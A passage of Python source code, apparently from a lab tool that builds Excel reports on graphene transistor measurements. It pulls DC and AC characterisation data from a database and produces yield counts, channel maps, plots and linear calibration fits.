3), \n 'Ch21': (4, 4), \n 'Ch01': (4, 5), \n \n \n \n \n }\n\nCortical16Map = {'Shape': (4, 4),\n 'Ch01': (2, 3),\n 'Ch02': (1, 2),\n 'Ch03': (3, 3),\n 'Ch04': (0, 2),\n 'Ch05': (0, 3),\n 'Ch06': (3, 2),\n 'Ch07': (1, 3),\n 'Ch08': (2, 2),\n 'Ch09': (2, 0),\n 'Ch10': (1, 1),\n 'Ch11': (3, 0),\n 'Ch12': (0, 1),\n 'Ch13': (0, 0),\n 'Ch14': (3, 1),\n 'Ch15': (1, 0),\n 'Ch16': (2, 1)}\n\n\n\ndef GetCycleColors(nColors, CMap=cm.jet):\n cmap = cm.ScalarMappable(colors.Normalize(vmin=0, vmax=nColors), CMap)\n col = []\n for i in range(nColors):\n col.append(cmap.to_rgba(i))\n return cycle(col)\n\n\ndef PlotXYLine(Data, Xvar, Yvar, Vgs, Vds, Ud0Norm=True, label=None,\n Ax=None, Color=None, **kwargs):\n\n fontsize = 'medium'\n labelsize = 5\n scilimits = (-2, 2)\n\n if Ax is None:\n fig, Ax = plt.subplots()\n\n for Trtn, Datas in Data.items():\n ValX = np.array([])\n ValY = np.array([])\n for Dat in Datas:\n if Dat.IsOK:\n funcX = Dat.__getattribute__('Get' + Xvar)\n funcY = Dat.__getattribute__('Get' + Yvar)\n try:\n Valx = funcX(Vgs=Vgs, Vds=Vds, Ud0Norm=Ud0Norm)\n Valy = funcY(Vgs=Vgs, Vds=Vds, Ud0Norm=Ud0Norm)\n ValX = np.vstack((ValX, Valx)) if ValX.size else Valx\n ValY = np.vstack((ValY, Valy)) if ValY.size else Valy\n# Ax.plot(Valx, Valy, '*', color=Color, label=label)\n except: # catch *all* exceptions\n print (Dat.Name, sys.exc_info()[0])\n\n try:\n if ValX.size == 0:\n continue\n SortIndex = np.argsort(ValX, axis=0)\n # Ax.plot(ValY[SortIndex][:,:,0], color=Color, label=label)\n Ax.plot(ValX[SortIndex][:, :, 0],\n ValY[SortIndex][:, :, 0],\n color=Color,\n label=label)\n except:\n print (Trtn, sys.exc_info()[0])\n\n if 'xscale' in kwargs.keys():\n Ax.set_xscale(kwargs['xscale'])\n if 'yscale' in kwargs.keys():\n Ax.set_yscale(kwargs['yscale'])\n else:\n Ax.ticklabel_format(axis='y', style='sci', scilimits=scilimits)\n\n if 'ylim' in kwargs.keys():\n Ax.set_ylim(kwargs['ylim'])\n\n Ax.set_ylabel(Yvar, fontsize=fontsize)\n Ax.set_xlabel(Xvar, fontsize=fontsize)\n Ax.tick_params(axis='both', which='Both', labelsize=labelsize)\n\n\ndef CalcParMap(Data, ParMap, ParArgs, ProbeMap):\n Map = np.zeros(ProbeMap['Shape'])*np.NaN\n ret = False\n for Trtn, Dat in Data.items():\n if not Dat[0].IsOK:\n continue\n ch = Trtn.split('-')[-1]\n func = Dat[0].__getattribute__('Get' + ParMap)\n val = func(**ParArgs)\n if val is None:\n continue\n if val.size == 0:\n continue\n if ch not in ProbeMap:\n continue\n Map[ProbeMap[ch]] = val\n ret = True\n if ret:\n return Map\n else:\n return None\n\n\nclass XlsReportBase(object):\n \"\"\"\n Generic class to define the most common fields and methods to generate XLS\n reports, the key methods and dictionaries are:\n - DBflieds dictionary structures:\n {'VTrts.DCMeas': ('DCMeas', 0, 0)}\n DBtable.Field: (HeaderName, XlsPosition, Not difined)\n - InfoTrtFields, InfoDevFields\n \"\"\"\n InfoTrtFields = {'Trts.Name': ('Trt Name', 0, 0),\n 'VTrts.DCMeas': ('DCMeas', 1, 0),\n 'VTrts.ACMeas': ('ACMeas', 2, 0),\n 'VTrts.GMeas': ('GMeas', 3, 0),\n 'TrtTypes.Name': ('Trt Type', 4, 0),\n 'TrtTypes.Length': ('Lenght', 5, 0),\n 'TrtTypes.Width': ('Width', 6, 0),\n 'TrtTypes.Pass': ('Pass', 7, 0),\n 'TrtTypes.Area': ('Area', 8, 0),\n 'TrtTypes.Contact': ('Contact', 9, 0),\n 'Trts.Comments': ('T-Comments', 10, 0)}\n\n InfoDevFields = {'Devices.Name': ('Device', 0, 0),\n 'Devices.Comments': ('D-Comments', 1, 0),\n 'Devices.State': ('D-State', 2, 0),\n 'Devices.ExpOK': ('D-ExpOK', 3, 0),\n 'Wafers.Masks': ('W-Masks', 4, 0),\n 'Wafers.Graphene': ('W-Graphene', 5, 0),\n 'Wafers.Comments': ('W-Comments', 6, 0)}\n\n InfoDCMeasValues = {'Time': ('Meas Date', 0, {}),\n 'Vds': ('Vds', 1, {}),\n 'Ud0': ('Ud0', 2, {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True}),\n 'Rds': ('Rds', 3, {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True}),\n 'GMV': ('GMV', 4, {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True})}\n\n InfoACMeasValues = {'Time': ('Meas Date', 0, {}),\n 'Vrms': ('Vrms', 1, {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True})}\n\n InfoMeasValues = {'Name': ('Trt Name', 0, {}),\n 'Time': ('Meas Date', 1, {}),\n 'Vds': ('Vds', 2, {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True}),\n 'Ud0': ('Ud0', 3, {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True}),\n 'Rds': ('Rds', 4, {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True}),\n 'GMV': ('GMV', 5, {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True}),\n 'Vrms': ('Vrms', 6, {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True})}\n\n # ('IdTrt',0,0) (Header, position, CountOkDevices() Parameters)\n YeildOK = {'IsOK': ('Working', 0, {'Param' : None,\n 'RefVal': None,\n 'Lower': None,\n 'ParArgs': None}),\n 'GMV': ('GMV', 1, {'Param' : 'GMV',\n 'RefVal': 5e-4,\n 'Lower': False,\n 'ParArgs': {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True}}),\n 'Rds': ('Rds', 2, {'Param' : 'Rds',\n 'RefVal': 10e3,\n 'Lower': True,\n 'ParArgs': {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True}}),\n 'Vrms': ('Vrms', 3, {'Param' : 'Vrms',\n 'RefVal': 100e-6,\n 'Lower': True,\n 'ParArgs': {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True}})}\n\n ProbeMap = Cortical16Map\n YeildMaps = {'Rds': ({'ParMap': 'Rds',\n 'ParArgs': {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True},\n 'ProbeMap': ProbeMap\n },\n colors.Normalize(200, 1e4),\n '[Ohms]'),\n 'Vrms': ({'ParMap': 'Vrms',\n 'ParArgs': {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True},\n 'ProbeMap': ProbeMap\n },\n colors.LogNorm(1e-5, 1e-4),\n '[Vrms]'),\n 'GMV': ({'ParMap': 'GMV',\n 'ParArgs': {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True},\n 'ProbeMap': ProbeMap\n },\n colors.Normalize(vmin=5e-3, vmax=0.5e-3),\n '[Vrms]')}\n\n FigsDpi = 150 # Resolution for figures\n DtMax = np.timedelta64(1, 's')\n\n DictDC = None\n DictAC = None\n DataDC = None\n DataAC = None\n SortList = None\n\n DevGroups = {}\n\n def __init__(self, FileName):\n # Init WorkBook, formats\n self.WorkBook = xlsxwriter.Workbook(FileName)\n self.FYeild = self.WorkBook.add_format({'num_format': '0.00%',\n 'font_color': 'blue',\n 'bold': True})\n self.Fbold = self.WorkBook.add_format({'bold': True})\n self.FOK = self.WorkBook.add_format({'num_format': '###.00E+2',\n 'font_color': 'black'})\n self.FNOK = self.WorkBook.add_format({'num_format': '###.00E+2',\n 'font_color': 'red'})\n # Init temp folder\n self.TmpPath = tempfile.mkdtemp(suffix='PyFET')\n\n self.DevGroups = {}\n\n # Init Db connection TODO hide credentials\n self.Mydb = PyFETdb.PyFETdb()\n\n def GetSortData(self, TrtName):\n Conditions = {'Trts.Name=': (TrtName, )}\n CharTable = 'DCcharacts'\n DatDC, _ = Dban.GetFromDB(Conditions=Conditions,\n Table=CharTable,\n Last=False,\n GetGate=True)\n CharTable = 'ACcharacts'\n DatAC, _ = Dban.GetFromDB(Conditions=Conditions,\n Table=CharTable,\n Last=False,\n GetGate=True)\n\n DataDC = DatDC.values()[0]\n if len(DatAC.values()) == 0:\n DataAC = []\n else:\n DataAC = DatAC.values()[0]\n\n DCtimes = []\n for dat in DataDC:\n DCtimes.append(dat.GetTime()[0, 0])\n ACtimes = []\n for dat in DataAC:\n ACtimes.append(dat.GetTime()[0, 0])\n SortList = []\n for idct, DCt in enumerate(DCtimes):\n idacdc = None\n for iact, ACt in enumerate(ACtimes):\n if np.abs(DCt - ACt) < self.DtMax:\n idacdc = iact\n SortList.append((DCt, idct, idacdc))\n SortList.sort()\n\n self.DictDC = DatDC\n self.DictAC = DatAC\n self.DataDC = DataDC\n self.DataAC = DataAC\n self.SortList = SortList\n\n def GetDeviceData(self, DeviceName):\n DeviceNames = (DeviceName, )\n\n CondBase = {}\n CondBase['Table'] = 'ACcharacts'\n CondBase['Last'] = True\n CondBase['GetGate'] = True\n CondBase['Conditions'] = {'Devices.Name=': DeviceNames,\n 'CharTable.FuncStep=': ('Report', )}\n Data, _ = Dban.GetFromDB(**CondBase)\n if len(Data) > 0:\n print (DeviceName, 'Getting data from Report Flag')\n self.DevGroups[DeviceName] = CondBase\n return Data, CondBase\n\n CondBase['Conditions'] = {'Devices.Name=': DeviceNames}\n Data, _ = Dban.GetFromDB(**CondBase)\n if len(Data) > 0:\n print (DeviceName, 'Getting data from last ACcharacts')\n self.DevGroups[DeviceName] = CondBase\n return Data, CondBase\n\n CondBase['Table'] = 'DCcharacts'\n Data, _ = Dban.GetFromDB(**CondBase)\n if len(Data) > 0:\n print (DeviceName, 'Getting data from last DCcharacts')\n self.DevGroups[DeviceName] = CondBase\n return Data, CondBase\n\n def GetOKTrts(self, DeviceName=None, Data=None,\n Param=None, ParArgs=None,\n RefVal=None, Lower=True):\n Count = 0\n if Data is None:\n Data, _ = self.GetDeviceData(DeviceName)\n for Trtn, Dat in sorted(Data.items()):\n if not Dat[0].IsOK:\n continue\n\n if Param is 'IsOK' or Param is None:\n Count += 1\n continue\n\n func = Dat[0].__getattribute__('Get' + Param)\n val = func(**ParArgs)\n if val is None:\n continue\n if hasattr(val, '__iter__'):\n if val.size == 0:\n continue\n \n # if len(val)>1: #test\n # val=val[0]\n \n if Lower:\n try:\n if val < RefVal:\n Count += 1\n except:\n continue\n else:\n try:\n if val > RefVal:\n Count += 1\n except:\n continue\n\n return Count\n\n def WriteHeaders(self, Sheet, DictList, LocOff=(0, 0),\n Vertical=True, WriteKeys=False):\n RowOff = LocOff[0]\n ColOff = LocOff[1]\n DictOff = 0\n for Dict in DictList:\n for k, val in Dict.items():\n if Vertical:\n row = RowOff + val[1] + DictOff\n col = ColOff\n else:\n row = RowOff\n col = ColOff + val[1] + DictOff\n if WriteKeys:\n header = k\n else:\n header = val[0]\n Sheet.write(row, col, header, self.Fbold)\n DictOff += len(Dict)\n\n def WriteDBValues(self, Sheet, DictList, DBSearch, LocOff=(0, 0),\n Vertical=True, WriteHeader=True, Format=None):\n\n if WriteHeader:\n self.WriteHeaders(Sheet=Sheet,\n DictList=DictList,\n LocOff=LocOff,\n Vertical=Vertical)\n if Vertical:\n RowOff = LocOff[0]\n ColOff = LocOff[1] + 1\n else:\n RowOff = LocOff[0] + 1\n ColOff = LocOff[1]\n else:\n if Vertical:\n RowOff = LocOff[0]\n ColOff = LocOff[1] + 1\n else:\n RowOff = LocOff[0] + 1\n ColOff = LocOff[1]\n\n DictOff = 0\n for Dict in DictList:\n DBRes = self.Mydb.GetCharactInfo(Table='DCcharacts',\n Conditions=DBSearch,\n Output=Dict.keys())\n for ir, Res in enumerate(DBRes):\n for k, val in Res.items():\n if Vertical:\n row = RowOff + Dict[k][1] + DictOff\n col = ColOff + ir\n else:\n row = RowOff + ir\n col = ColOff + Dict[k][1] + DictOff\n Sheet.write(row, col, val, Format)\n DictOff += len(Dict)\n\n def WriteMeasValues(self, Sheet, DictList, DataList,\n LocOff=(0, 0), Vertical=True, Format=None):\n\n RowOff = LocOff[0]\n ColOff = LocOff[1]\n DictOff = 0\n\n for idi, Dict in enumerate(DictList):\n if DataList[idi] is None:\n continue\n for par, v in Dict.items():\n if Vertical:\n row = RowOff + v[1] + DictOff\n col = ColOff\n else:\n row = RowOff\n col = ColOff + v[1] + DictOff\n\n func = DataList[idi].__getattribute__('Get' + par)\n val = func(**v[2])\n if val is None:\n continue\n # if hasattr(val, '__iter__'):\n # print(val, par) #test\n # if val.size == 0:\n # continue\n if par == 'Time':\n val = val[0, 0].astype(datetime.datetime).strftime('%x %X')\n Sheet.set_column(col, col, width=20)\n\n try:\n Sheet.write(row, col, val, Format)\n except:\n print ('Error writing', par, val)\n DictOff += len(Dict)\n\n def WriteTrtMeasHist(self, TrtName, Sheet, Loc, Vertical=False):\n RowOff = Loc[0]\n ColOff = Loc[1]\n DictList = (self.InfoDCMeasValues,\n self.InfoACMeasValues)\n\n self.WriteHeaders(Sheet,\n DictList=DictList,\n LocOff=Loc,\n Vertical=Vertical)\n\n self.GetSortData(TrtName)\n\n for iMea, SortInd in enumerate(self.SortList):\n DCi = SortInd[1]\n ACi = SortInd[2]\n\n if self.DataDC[DCi].IsOK:\n Format = self.FOK\n else:\n Format = self.FNOK\n\n if ACi is None:\n DataList = (self.DataDC[DCi], None)\n else:\n DataList = (self.DataDC[DCi], self.DataAC[ACi])\n\n self.WriteMeasValues(Sheet=Sheet,\n DictList=DictList,\n DataList=DataList,\n LocOff=(RowOff + iMea + 1, ColOff),\n Vertical=Vertical,\n Format=Format)\n\n def WriteDevTrtsMeas(self, Sheet, Data, Loc, Vertical=False):\n # TODO Check the vertical behivior\n RowOff = Loc[0]\n ColOff = Loc[1]\n\n# Write Header\n self.WriteHeaders(Sheet=Sheet,\n DictList=(self.InfoMeasValues,\n self.InfoTrtFields),\n LocOff=Loc,\n Vertical=Vertical)\n\n# Iter for each Trt in Data\n for iTrt, (Trtn, Dat) in enumerate(sorted(Data.items())):\n if Dat[0].IsOK:\n Format = self.FOK\n else:\n Format = self.FNOK\n# Fill Meas fields\n row = RowOff + iTrt + 1\n col = ColOff\n self.WriteMeasValues(Sheet=Sheet,\n DictList=(self.InfoMeasValues, ),\n DataList=(Dat[0], ),\n LocOff=(row, col),\n Vertical=Vertical,\n Format=Format)\n row = RowOff + iTrt\n col = ColOff + len(self.InfoMeasValues)\n self.WriteDBValues(Sheet=Sheet,\n DictList=(self.InfoTrtFields, ),\n DBSearch={'Trts.Name=': (Trtn, )},\n LocOff=(row, col),\n Vertical=Vertical,\n WriteHeader=False,\n Format=Format)\n\n def WriteOKcount(self, Sheet, Loc, Data, Vertical=True, WriteHeader=True):\n RowOff = Loc[0]\n ColOff = Loc[1]\n TotalCount = float(len(self.ProbeMap)-1)\n\n if WriteHeader:\n self.WriteHeaders(Sheet=Sheet,\n DictList=(self.YeildOK,),\n LocOff=Loc,\n Vertical=Vertical)\n\n for v in self.YeildOK.values():\n count = self.GetOKTrts(Data=Data, **v[2])\n if Vertical:\n row = RowOff + v[1]\n col = ColOff + 1\n else:\n row = RowOff + 1\n col = ColOff + v[1]\n Sheet.write(row, col, count)\n if Vertical:\n row = RowOff + v[1]\n col = ColOff + 2\n else:\n row = RowOff + 1\n col = ColOff + v[1] + len(self.YeildOK)\n Sheet.write(row, col, count/TotalCount, self.FYeild)\n\n def InsertPyGFETplot(self, Sheet, PlotPars, DataDict,\n ColorOn, Loc=(0, 0), Legend=False):\n Plot = PyFETplt()\n Plot.AddAxes(PlotPars)\n Plot.PlotDataSet(DataDict=DataDict,\n ColorOn=ColorOn,\n MarkOn=None)\n if Legend:\n Plot.AddLegend()\n self.InsertFigure(Sheet=Sheet, Loc=Loc)\n\n def InsertCharMap(self, Sheet, Data, Loc, CalcMapArgs, norm,\n Units, figsize=(3, 3)):\n sfmt = ticker.ScalarFormatter(useMathText=True)\n sfmt.set_powerlimits((2, 2))\n\n Map = CalcParMap(Data=Data, **CalcMapArgs)\n if Map is None:\n return\n\n Fig, Ax = plt.subplots(figsize=figsize)\n Cax = Ax.imshow(Map, cmap=cm.afmhot, norm=norm)\n Ax.set_xlabel('column')\n Ax.set_ylabel('row')\n Ax.set_xticks(np.arange(CalcMapArgs['ProbeMap']['Shape'][1]))\n Ax.set_yticks(np.arange(CalcMapArgs['ProbeMap']['Shape'][0]))\n Ax.set_title(CalcMapArgs['ParMap'])\n\n cbar = Fig.colorbar(Cax, format=sfmt)\n cbar.set_label(Units, rotation=270, labelpad=10)\n\n self.InsertFigure(Sheet=Sheet, Loc=Loc, Fig=Fig)\n\n def InsertFigure(self, Sheet, Loc, Fig=None, Close=True):\n fname = tempfile.mktemp(suffix='.png', dir=self.TmpPath)\n if Fig is None:\n Fig = plt.gcf()\n Fig.savefig(fname, dpi=self.FigsDpi)\n Sheet.insert_image(Loc[0], Loc[1], fname)\n\n if Close:\n plt.close('all')\n\n def close(self):\n # Close and save the XLS file and clear temp folder\n self.WorkBook.close()\n shutil.rmtree(self.TmpPath)\n\n\nclass GenXlsTrtsHistory(XlsReportBase):\n TimePlotParsDC = ('Ids', 'Rds', 'GM', 'Ig')\n TimePlotParsAC = ('Ids', 'GM', 'Vrms', 'Irms')\n\n TimeEvolPars = {'Ud0': ('DC', {'Vgs': None,\n 'Vds': None}),\n 'Rds': ('DC', {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True,\n 'ylim': (500, 10e3)}),\n 'Ids': ('DC', {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True}),\n 'GM': ('DC', {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True,\n 'ylim': (-5e-4, 0)}),\n 'Vrms': ('AC', {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True,\n 'yscale': 'log',\n 'ylim': (1e-5, 2e-4)})}\n\n def __init__(self, FileName, Conditions):\n super(GenXlsTrtsHistory, self).__init__(FileName=FileName)\n\n self.dbConditions = Conditions\n GroupBy = 'Trts.Name'\n self.TrtsList = Dban.FindCommonValues(Table='DCcharacts',\n Parameter=GroupBy,\n Conditions=Conditions)\n GroupBy = 'Devices.Name'\n self.DeviceName = Dban.FindCommonValues(Table='DCcharacts',\n Parameter=GroupBy,\n Conditions=Conditions)\n\n self.WorkBook.add_worksheet('Summary')\n for TrtName in sorted(self.TrtsList):\n self.WorkBook.add_worksheet(TrtName)\n\n def GenFullReport(self):\n # Init Summary plot\n self.SummaryFigCol = GetCycleColors(len(self.TrtsList))\n self.SummaryFig, self.SummaryAx = plt.subplots(len(self.TimeEvolPars),\n 1,\n sharex=True,\n figsize=(12, 12))\n\n for TrtName in self.TrtsList:\n self.GenTrtReport(TrtName)\n\n# Genertate Summary sheet\n Sheet = self.WorkBook.sheetnames['Summary']\n self.WriteDBValues(Sheet,\n LocOff=(0, 0),\n DictList=(self.InfoTrtFields, ),\n DBSearch=self.dbConditions,\n Vertical=False)\n# Insert summary plot generated updated at GenTrtReport\n self.SummaryFig.tight_layout()\n self.SummaryFig.subplots_adjust(hspace=0)\n self.InsertFigure(Sheet=Sheet, Fig=self.SummaryFig, Loc=(0, 15))\n\n def GenTrtReport(self, TrtName):\n Sheet = self.WorkBook.sheetnames[TrtName]\n self.WriteDBValues(Sheet,\n LocOff=(0, 0),\n DictList=(self.InfoTrtFields, ),\n DBSearch={'Trts.Name=': (TrtName, )})\n\n self.WriteTrtMeasHist(TrtName=TrtName,\n Sheet=Sheet,\n Loc=(len(self.InfoTrtFields)+2, 0))\n\n Loc = (0, len(self.InfoDCMeasValues) + len(self.InfoACMeasValues) + 1)\n self.InsertPyGFETplot(Sheet=Sheet,\n Loc=Loc,\n PlotPars=self.TimePlotParsDC,\n DataDict=self.DictDC,\n ColorOn='Date')\n\n Loc = (30, len(self.InfoDCMeasValues) + len(self.InfoACMeasValues) + 1)\n self.InsertPyGFETplot(Sheet=Sheet,\n Loc=Loc,\n PlotPars=self.TimePlotParsAC,\n DataDict=self.DictAC,\n ColorOn='Date')\n\n#TODO fix this part in a generic fucntion\n# Generate time evolution plots\n Fig, Ax = plt.subplots(len(self.TimeEvolPars), 1, sharex=True)\n for i, (k, v) in enumerate(self.TimeEvolPars.items()):\n if v[0] == 'DC':\n dat = self.DictDC\n elif v[0] == 'AC':\n dat = self.DictAC\n \n Dban.PlotXYVars(Data=dat,\n Xvar='DateTime',\n Yvar=k,\n Ax=Ax[i],\n **v[1])\n# Update summary plot\n PlotXYLine(Data=dat,\n Xvar='Time',\n Yvar=k,\n Ax=self.SummaryAx[i],\n Color=self.SummaryFigCol.next(),\n **v[1])\n\n Fig.tight_layout()\n Fig.subplots_adjust(hspace=0)\n# insert time evolution plots\n self.InsertFigure(Sheet=Sheet, Fig=Fig, Loc=(60, 10))\n\n\nclass GenXlsReport(XlsReportBase):\n \n CharPars = ('Ids', 'GM', 'Vrms', 'Rds')\n\n SummaryPlotSpacing = 25\n SummaryLinePlots = ({'Xvar': 'Vgs', 'Yvar': 'Ids',\n 'Vds': None, 'PlotOverlap': False, 'Ud0Norm': False},\n {'Xvar': 'Vgs', 'Yvar': 'GM',\n 'Vds': None, 'PlotOverlap': False, 'Ud0Norm': False},\n {'Xvar': 'Vgs', 'Yvar': 'Vrms',\n 'Vds': None, 'PlotOverlap': False, 'Ud0Norm': True,\n 'yscale': 'log'})\n\n SummaryBoxPlots = ({'Plot': True, 'Boxplot': False,\n 'Param': 'Vrms', 'Vgs': -0.1,\n 'Ud0Norm': True, 'Vds': None, 'yscale': 'log'},\n {'Plot': True, 'Boxplot': True,\n 'Param': 'Ud0', 'Vgs': -0.1,\n 'Ud0Norm': True, 'Vds': None})\n\n def __init__(self, FileName, Conditions, PathHistory=None):\n super(GenXlsReport, self).__init__(FileName=FileName)\n \n# Find devicelist that will be reported\n self.dbConditions = Conditions\n GroupBy = 'Devices.Name' \n self.DevicesList = Dban.FindCommonValues(Table='DCcharacts',\n Parameter=GroupBy,\n Conditions=Conditions)\n# Add Worksheets\n self.WorkBook.add_worksheet('Summary')\n for DevName in sorted(self.DevicesList):\n self.WorkBook.add_worksheet(DevName)\n# if PathHistory is not None:\n# Cond = {'Devices.Name=': (DevName, )}\n# XlsHist = GenXlsDeviceHistory(PathHistory + DevName +'.xlsx', Cond)\n# XlsHist.GenFullReport()\n# XlsHist.close()\n\n def GenFullReport(self):\n Sheet = self.WorkBook.sheetnames['Summary']\n self.WriteHeaders(Sheet=Sheet,\n LocOff=(0, 0),\n DictList=(self.InfoDevFields,\n self.YeildOK,\n self.YeildOK),\n Vertical=False)\n\n for idev, DevName in enumerate(sorted(self.DevicesList)):\n Data = self.GenDeviceReport(DevName)\n self.WriteOKcount(Sheet=Sheet,\n Data=Data,\n Loc=(idev, len(self.InfoDevFields)),\n Vertical=False,\n WriteHeader=False)\n self.WriteDBValues(Sheet,\n LocOff=(idev, 0),\n DictList=(self.InfoDevFields, ),\n DBSearch={'Devices.Name=': (DevName, )},\n WriteHeader=False,\n Vertical=False)\n\n Sheet.set_column(0, len(self.InfoDevFields), width=12)\n\n for ipl, LiPlots in enumerate(self.SummaryLinePlots):\n Fig, _ = Dban.SearchAndPlot(Groups=self.DevGroups, **LiPlots)\n self.InsertFigure(Sheet=Sheet,\n Loc=(idev + 2 + ipl*self.SummaryPlotSpacing, 7),\n Fig=Fig)\n for ipl, BoxPlots in enumerate(self.SummaryBoxPlots):\n Dban.SearchAndGetParam(Groups=self.DevGroups, **BoxPlots)\n self.InsertFigure(Sheet=Sheet,\n Loc=(idev + 2 + ipl*self.SummaryPlotSpacing, 0))\n\n def GenDeviceReport(self, DeviceName):\n Sheet = self.WorkBook.sheetnames[DeviceName]\n Sheet.set_column(0, 0, width=20)\n self.WriteDBValues(Sheet,\n LocOff=(0, 0),\n DictList=(self.InfoDevFields, ),\n DBSearch={'Devices.Name=': (DeviceName, )})\n\n Data, _ = self.GetDeviceData(DeviceName)\n self.WriteOKcount(Sheet=Sheet,\n Loc=(len(self.InfoDevFields), 0),\n Data=Data)\n Loc = (15, 0)\n self.WriteDevTrtsMeas(Sheet, Data, Loc)\n\n Loc = (Loc[0] + len(Data) + 2,\n 0)\n self.InsertPyGFETplot(Sheet=Sheet,\n Loc=Loc,\n PlotPars=self.CharPars,\n DataDict=Data,\n ColorOn='Trt',\n Legend=True)\n\n for i, v in enumerate(self.YeildMaps.values()):\n self.InsertCharMap(Sheet=Sheet,\n Data=Data,\n Loc=(0, 5+i*5),\n CalcMapArgs=v[0],\n norm=v[1],\n Units=v[2])\n return Data\n\n\nclass FittingReport(object):\n XVar = 'IonStrength'\n XVarLog = True\n YVar = 'Ud0'\n YVarLog = False\n GroupBase = None\n\n figsize=(4, 4)\n\n InfoMeasValues = {'Name': ('Trt Name', 0, {}),\n 'Time': ('Meas Date', 1, {}),\n 'Vds': ('Vds', 2, {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True}),\n 'Ud0': ('Ud0', 3, {'Vgs': -0.1,\n 'Vds': None,\n 'Ud0Norm': True}),\n 'IonStrength': ('IonStrength', 4, {}),\n 'Ph': ('Ph', 5, {}),\n 'FuncStep': ('FuncStep', 6, {}),\n 'Comments': ('Comments', 7, {})}\n\n FittingValues = {'R2': ('rsquared', 0, None),\n 'Slope': ('params', 1, 1),\n 'OffSet': ('params', 2, 0)}\n\n def WriteFittingResults(self, Sheet, Loc, WriteHeaders=True):\n if WriteHeaders:\n self.XlsRep.WriteHeaders(Sheet,\n DictList=(self.FittingValues, ),\n LocOff=Loc,\n Vertical=False,\n WriteKeys=True)\n row = Loc[0]+1\n for v in self.FittingValues.values():\n try:\n val = self.Res.__getattribute__(v[0])\n if v[2] is not None:\n val = val[v[2]]\n col = Loc[1]+v[1]\n Sheet.write(row, col, val)\n except:\n print ('Error in fitting write')\n\n def __init__(self, XVar, XVarLog, YVar, YVarLog, GroupBase, XlsRep):\n self.XVar = XVar\n self.XVarLog = XVarLog\n self.YVar = YVar\n self.YVarLog = YVarLog\n self.GroupBase = GroupBase\n self.XlsRep = XlsRep\n\n def GenDebugPlot(self, Sheet, Loc):\n fig, Ax = plt.subplots(figsize=self.figsize)\n fig, _ = Dban.PlotGroupBy(GroupBase=self.GroupBase,\n GroupBy='CharTable.{}'.format(self.XVar),\n Xvar='Vgs',\n Yvar='Ids',\n PlotOverlap=True,\n Ud0Norm=False,\n Ax=Ax)\n self.XlsRep.InsertFigure(Sheet, Loc)\n\n def CalcLinearFitting(self, Sheet, Loc):\n self.XlsRep.WriteHeaders(Sheet,\n DictList=(self.InfoMeasValues, ),\n LocOff=Loc,\n Vertical=False)\n RowOff = Loc[0]\n ColOff = Loc[1]\n col = ColOff + len(self.InfoMeasValues)\n Sheet.write(RowOff, col, self.XVar, self.XlsRep.Fbold)\n Sheet.write(RowOff, col+1, self.YVar, self.XlsRep.Fbold)\n\n Grs = DbSearch.GenGroups(GroupBase=self.GroupBase,\n GroupBy='CharTable.{}'.format(self.XVar))\n DatFit = []\n for gr in Grs.values():\n Dat, Trts = DbSearch.GetFromDB(**gr)\n for dat in Dat[Trts[0]]:\n DatFit.append(dat)\n\n ValY = np.array([])\n ValX = np.array([])\n for ip, dat in enumerate(DatFit):\n row = RowOff + ip + 1\n self.XlsRep.WriteMeasValues(Sheet,\n DictList=(self.InfoMeasValues, ),\n DataList=(dat, ),\n LocOff=(row, ColOff),\n Vertical=False)\n funcx = dat.__getattribute__('Get' + self.XVar)\n funcy = dat.__getattribute__('Get' + self.YVar)\n valx = funcx()\n valy = funcy()\n ValY = np.vstack((ValY, valy)) if ValY.size else valy\n ValX = np.vstack((ValX, valx)) if ValX.size else valx\n Sheet.write(row, col, valx, self.XlsRep.Fbold)\n Sheet.write(row, col+1, valy, self.XlsRep.Fbold)\n\n si = np.argsort(ValX[:, 0])\n ValX = ValX[si, 0]\n ValY = ValY[si, 0]\n\n if self.XVarLog:\n ValX = np.log10(ValX)\n\n if self.YVarLog:\n ValY = np.log10(ValY)\n\n plt.figure(figsize=self.figsize)\n plt.plot(ValX, ValY, '*')\n\n X = sm.add_constant(ValX)\n Res = sm.OLS(ValY, X).fit()\n self.Res = Res\n prstd, iv_l, iv_u = wls_prediction_std(Res)\n plt.plot(ValX, Res.fittedvalues, 'k--')\n plt.fill_between(ValX, iv_u, iv_l,\n color='b',\n linewidth=0.0,\n alpha=0.3)\n self.XlsRep.InsertFigure(Sheet, Loc=(RowOff+2, col+3))\n self.WriteFittingResults(Sheet, Loc=(RowOff, col+3))\n\n\nclass GenXlsFittingReport(XlsReportBase):\n TimePlotParsDC = ('Ids', 'Rds', 'GM', 'Ig')\n TimeEvolPars = {'Ud0': ('DC', {'Vgs': None,\n 'Vds': None})}\n\n CalTypes = {'pHCal': {'XVar': 'Ph',\n 'XVarLog': False,\n 'YVar': 'Ud0',\n 'YVarLog': False},\n 'IonCal': {'XVar': 'IonStrength',\n 'XVarLog': True,\n 'YVar': 'Ud0',\n 'YVarLog': False},\n 'Tromb': {'XVar': 'AnalyteCon',\n 'XVarLog': True,\n 'YVar': 'Ud0',\n 'YVarLog': False}}\n\n DBCalField = 'CharTable.Comments'\n DBCalFlags = ('%Cal%', )\n\n CalMaps = None\n CalMapVars = None\n figsize = (4, 4)\n\n def __init__(self, FileName, GroupBase,\n DBCalField='CharTable.Comments', DBCalFlags=('%Cal%', )):\n\n 